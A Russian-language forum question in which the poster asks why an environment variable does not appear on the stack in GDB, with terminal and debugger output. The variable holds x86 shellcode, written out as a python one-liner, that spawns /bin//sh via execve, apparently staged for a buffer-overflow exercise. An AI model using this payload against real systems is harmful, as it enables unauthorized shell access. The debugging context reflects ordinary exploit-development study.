Переменная окружения не найдена в GDB
Я устанавливаю env-переменную в Linux с помощью cmd
export MYSHELL=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
С помощью команды "echo $MYSHELL" терминал показывает мне следующий результат (как и ожидалось):
MYSHELL=1�Ph//shh/bin�����°
1�@̀
XDG_MENU_PREFIX=gnome-
LANG=de_DE.UTF-8
GDM_LANG=de_DE.UTF-8
DISPLAY=:1
OLDPWD=/root
COLORTERM=truecolor
USERNAME=root
XDG_VTNR=2
amk=oc
SSH_AUTH_SOCK=/run/user/0/keyring/ssh
XDG_SESSION_ID=2
USER=root
...
После того, как я компилирую и отлаживаю свой исходный код. К сожалению, я не могу найти мою переменную env "MYSHELL" в стеке. Получаем следующий результат:
0xffffdb53: "XDG_MENU_PREFIX=gnome-"
0xffffdb6a: "_=/usr/bin/gdb"
0xffffdb79: "LANG=de_DE.UTF-8"
0xffffdb8a: "GDM_LANG=de_DE.UTF-8"
0xffffdb9f: "DISPLAY=:1"
0xffffdbaa: "OLDPWD=/root"
0xffffdbb7: "COLORTERM=truecolor"
0xffffdbcb: "USERNAME=root"
0xffffdbd9: "XDG_VTNR=2"
0xffffdbe4: "SSH_AUTH_SOCK=/run/user/0/keyring/ssh"
0xffffdc0a: "XDG_SESSION_ID=2"
0xffffdc1b: "USER=root"
...
Почему переменная env не отображается в стеке?
Спасибо!